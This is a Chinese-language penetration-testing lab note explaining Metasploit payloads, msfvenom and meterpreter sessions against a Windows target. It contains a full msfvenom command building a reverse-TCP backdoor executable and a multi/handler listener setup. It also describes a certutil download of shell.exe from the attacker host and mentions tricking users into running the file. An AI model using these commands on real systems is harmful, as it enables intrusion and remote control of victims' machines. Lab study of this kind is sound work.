一.shellcode是什么
在msf中windows/meterpreter/bind_tcp ,linux/x64/meterpreter/bind_tcp 本质:一段木马功能代码(Shellcode),不是文件、不是 exe。 功能:开端口监听 → 等攻击机连接 → 交出控制权。
reverse_tcp 本质:也是 Shellcode(木马功能代码)。 功能:主动连接攻击机 → 建立会话
Payload = 你想让目标执行的功能
Shellcode = 实现这个功能的底层代码
set payload = 告诉 MSF 用哪个功能
二.msfvenom 作用
把 Shellcode(功能代码)打包成可执行文件(.exe/.elf/.dll 等)。 一句话:msfvenom = 代码 → 可运行木马文件 的打包工具。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=4444 -f exe -o shell.exe
- -p:指定 payload(功能)
- LHOST:攻击机 IP
- LPORT:端口
- -f:输出文件格式(exe、elf、ps1、raw 等)
- -o:输出到哪个文件
注:木马文件 本质:Shellcode + 文件格式外壳。 必须落地成文件、双击 / 运行才能生效。
三、两种利用方式
核心:拿meterpreter回话,才能做路由转发
方式 1:需要 msfvenom(生成木马)适用场景:目标不存在远程代码执行(RCE)漏洞 ,适用文件上传漏洞、网站后台传马、社会工程学诱骗运行
流程
msfconsole
use exploit/multi/handler
set payload 对应payload
set LHOST 攻击机IP
set LPORT 端口 run
注:根据用的是什么连接在设置,因为反向连接是靶机去连接攻击机,需要攻击机set LHOST去监听,正向连接是攻击机主动去连接靶机,视情况而定。
实操
攻击机ip为192.168.1.6,靶机为windows,ip192.168.1.80
生成木马

传输到靶机


certutilWindows 系统自带的命令行工具(默认存在,无需安装)
-urlcache 核心功能:操作URL 缓存,本质是让工具去访问网络地址
-split 拆分下载大文件,必选参数,用于写入完整文件到本地
-f 强制覆盖:如果本地已有同名文件,直接覆盖不提示http://192.168.1.6/shell.exe远程文件地址(本地服务器的木马 / 后门文件)
shell.exe 本地保存的文件名(下载后存到当前目录)
监听

执行木马

拿到会话

这里是反向连接,正向连接原理差不多可以自己试一下。
方式 2:不需要 msfvenom(漏洞直接利用)
有 RCE 漏洞(如 WebLogic 反序列化)时:不需要 msfvenom、不需要生成木马、不需要上传文件。 漏洞直接让靶机 内存执行 Shellcode
适用场景:RCE 漏洞(WebLogic、Java 反序列化等)
靶机存在已知的RCE(远程代码执行漏洞)


这里要改target,,因为默认是0linux,不改就不兼容
成功拿到会话,这里端口默认的就行,默认端口不被占用也可以不改




